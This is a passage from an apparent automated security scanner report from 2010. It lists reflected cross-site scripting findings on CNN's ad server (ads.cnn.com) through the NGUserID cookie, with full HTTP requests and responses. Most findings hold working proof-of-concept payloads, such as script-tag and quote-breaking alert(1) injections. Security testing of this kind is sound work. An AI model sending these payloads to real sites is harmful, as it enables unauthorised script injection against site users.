Expires: Sun, 07 Nov 2010 21:06:47 GMT
Pragma: no-cache
Content-Length: 1132
Connection: close
Content-Type: text/html

<div style="position:absolute;visibility:hidden;"><img src="http://ads.cnn.com:80/event.ng/Type=count&amp;ClientType=2&amp;ASeg=&amp;AMod=&amp;AOpt=0&amp;AdID=367310&amp;FlightID=268304&amp;TargetID=8
...[SNIP]...
5,1588,1678,1690,1735,1815,2684,2746,4445,38253,47118,47457,49516,52263,52897,55979,56058,56872,57005,57896,58809,59987,61263,61882,61907,61913,63498&amp;RawValues=NGUSERID%2Caa55a53-20641-1094127048-2565be"><script>alert(1)</script>0a4d34969c6&amp;random=ccNzrpR,bgnofhhewqjfk" width="1" height="1" border="0" />
...[SNIP]...

2.2. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56ad2"><script>alert(1)</script>ca2dc2842a9 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-256ad2"><script>alert(1)</script>ca2dc2842a9; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:07 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:07 GMT
Pragma: no-cache
Content-Length: 7558
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
,1285,1588,1678,1690,1735,1815,2684,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61500,61882,61907,61913,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-256ad2"><script>alert(1)</script>ca2dc2842a9&Redirect=http://parkerspitzer.blogs.cnn.com/" target="_blank">
...[SNIP]...

2.3. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs

Issue detail

The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 116f3'-alert(1)-'64bed3dcb39 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2116f3'-alert(1)-'64bed3dcb39; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:08 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:08 GMT
Pragma: no-cache
Content-Length: 7513
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
,1285,1588,1678,1690,1735,1815,2684,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61500,61882,61907,61913,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2116f3'-alert(1)-'64bed3dcb39&Redirect=http://parkerspitzer.blogs.cnn.com/" target="_blank">
...[SNIP]...

2.4. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=132300 [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=132300

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32cab"><script>alert(1)</script>6d6dc7cb58e was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=132300 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-232cab"><script>alert(1)</script>6d6dc7cb58e

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:59:37 GMT
Server: Apache
AdServer: ads1ad13:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 20:59:37 GMT
Pragma: no-cache
Content-Length: 6869
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-232cab"><script>alert(1)</script>6d6dc7cb58e%2CTIELID%2C1570051619821&Redirect=http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=331786748&mt=8" target="_blank">
...[SNIP]...

2.5. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=132300 [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=132300

Issue detail

The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 852f6'-alert(1)-'5e7076f50ad was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=132300 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2852f6'-alert(1)-'5e7076f50ad

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:59:37 GMT
Server: Apache
AdServer: ads1ad13:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 20:59:37 GMT
Pragma: no-cache
Content-Length: 6671
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
&Targets=107831,1515,93209&Values=43,60,80,101,150,1266,1588,2684,2746,4444,52263,52897,56058,57005,58702,59987,61089,61284,61500,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2852f6'-alert(1)-'5e7076f50ad%2CTIELID%2C1570051619821&Redirect=http://parkerspitzer.blogs.cnn.com/" target="_blank">
...[SNIP]...

2.6. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT

Issue detail

The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f8685'-alert(1)-'f805f087727 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2f8685'-alert(1)-'f805f087727; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:07 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:07 GMT
Pragma: no-cache
Content-Length: 6262
Connection: close
Content-Type: text/html

<script src="http://ads.cnn.com/DartRichMedia_1_03.js"></script>

<SCRIPT LANGUAGE=JavaScript>

var swf_click = "http://ads.cnn.com/event.ng/Type=click&FlightID=259863&AdID=465828&TargetID=93209&Segme
...[SNIP]...
,1285,1588,1678,1690,1735,1815,2684,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61500,61882,61907,61913,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2f8685'-alert(1)-'f805f087727&Redirect=http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=331786748&mt=8" target="_blank">
...[SNIP]...

2.7. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26de2"><script>alert(1)</script>963d2c107bd was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x100_spon&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-226de2"><script>alert(1)</script>963d2c107bd; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:07 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:07 GMT
Pragma: no-cache
Content-Length: 5142
Connection: close
Content-Type: text/html

<script src="http://ads.cnn.com/DartRichMedia_1_03.js"></script>

<SCRIPT LANGUAGE=JavaScript>

var swf_click = "http://ads.cnn.com/event.ng/Type=click&FlightID=259863&AdID=449089&TargetID=93209&Segme
...[SNIP]...
,1285,1588,1678,1690,1735,1815,2684,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61500,61882,61907,61913,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-226de2"><script>alert(1)</script>963d2c107bd&Redirect=http://www.cnn.com/SPECIALS/cnn.heroes/index.html" target="_blank">
...[SNIP]...

2.8. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abf29"><script>alert(1)</script>4f9501b4466 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2abf29"><script>alert(1)</script>4f9501b4466; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:22 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:22 GMT
Pragma: no-cache
Content-Length: 4507
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
5,1588,1678,1690,1735,1815,2684,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61467,61882,61907,61913,63498&amp;RawValues=NGUSERID%2Caa55a53-20641-1094127048-2abf29"><script>alert(1)</script>4f9501b4466&amp;random=AyuKhf,bgnofikewqnbz" width="1" height="1" border="0" />
...[SNIP]...

2.9. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=510316 [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=510316

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1d78"><script>alert(1)</script>0393fdcdd99 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=510316 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2f1d78"><script>alert(1)</script>0393fdcdd99

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:00:02 GMT
Server: Apache
AdServer: ads1ad13:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:00:02 GMT
Pragma: no-cache
Content-Length: 7325
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4445,47182,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2f1d78"><script>alert(1)</script>0393fdcdd99%2CTIELID%2C1570051619821&Redirect=http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=331786748&mt=8" target="_blank">
...[SNIP]...

2.10. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs&tile=1570051619821&domId=510316 [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=510316

Issue detail

The value of the NGUserID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a9da7'-alert(1)-'8f056a70ec5 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=510316 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ads.cnn.com
Proxy-Connection: Keep-Alive
Cookie: NGUserID=aa55a53-20641-1094127048-2a9da7'-alert(1)-'8f056a70ec5

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:00:02 GMT
Server: Apache
AdServer: ads1ad13:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:00:02 GMT
Pragma: no-cache
Content-Length: 7175
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
107528,108507,108693&Values=43,60,80,101,150,1266,1588,2684,2746,4445,47182,52263,52897,56058,57005,58702,59987,61089,61284,61467,61883,61913,62119,63498&RawValues=NGUSERID%2Caa55a53-20641-1094127048-2a9da7'-alert(1)-'8f056a70ec5%2CTIELID%2C1570051619821&Redirect=http://www.cnn.com/SPECIALS/cnn.heroes/index.html" target="_blank">
...[SNIP]...

2.11. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs|CALLOUT [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 327c2"><script>alert(1)</script>efb7329b947 was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_bot&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs|CALLOUT HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2327c2"><script>alert(1)</script>efb7329b947; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:14 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:14 GMT
Pragma: no-cache
Content-Length: 3106
Connection: close
Content-Type: text/html

<iframe src="http://view.atdmt.com/CNT/iview/244742164/direct;wi.300;hi.250/01/clahlyh,bgnoficewqmgh?click=http://ads.cnn.com/event.ng/Type%3dclick%26FlightID%3d335672%26AdID%3d462006%26TargetID%3d108
...[SNIP]...
5,1588,1678,1690,1735,1815,2684,2746,4445,38253,47118,47457,49516,52263,52897,56058,56872,57005,57896,58809,59987,61263,61467,61882,61907,61913,63498&amp;RawValues=NGUSERID%2Caa55a53-20641-1094127048-2327c2"><script>alert(1)</script>efb7329b947&amp;random=clahlyh,bgnoficewqmgh" width="1" height="1" border="0" />
...[SNIP]...

2.12. http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes¶ms.styles=fs [NGUserID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ads.cnn.com
Path:   /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs

Issue detail

The value of the NGUserID cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3b9e"><script>alert(1)</script>8794e90630d was submitted in the NGUserID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs HTTP/1.1
Host: ads.cnn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedEdition=www; rsi_segs_ttn=A09801_10014|A09801_10001; NGUserID=aa55a53-20641-1094127048-2c3b9e"><script>alert(1)</script>8794e90630d; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|266B8596051D1509-4000012E2000A321[CE]; adDEon=true; adDEmas=R00&broadband&theplanet.com&73&usa&618&77002&44&16&U1&Y2&18&;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:07:00 GMT
Server: Apache
AdServer: ads1ad43:9678:1
P3P: CP="NOI DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=0, no-cache, private
Expires: Sun, 07 Nov 2010 21:07:00 GMT
Pragma: no-cache
Content-Length: 5429
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script>
function cnnad_getTld (hostname)
{
var data = hostname.split(".");

...[SNIP]...
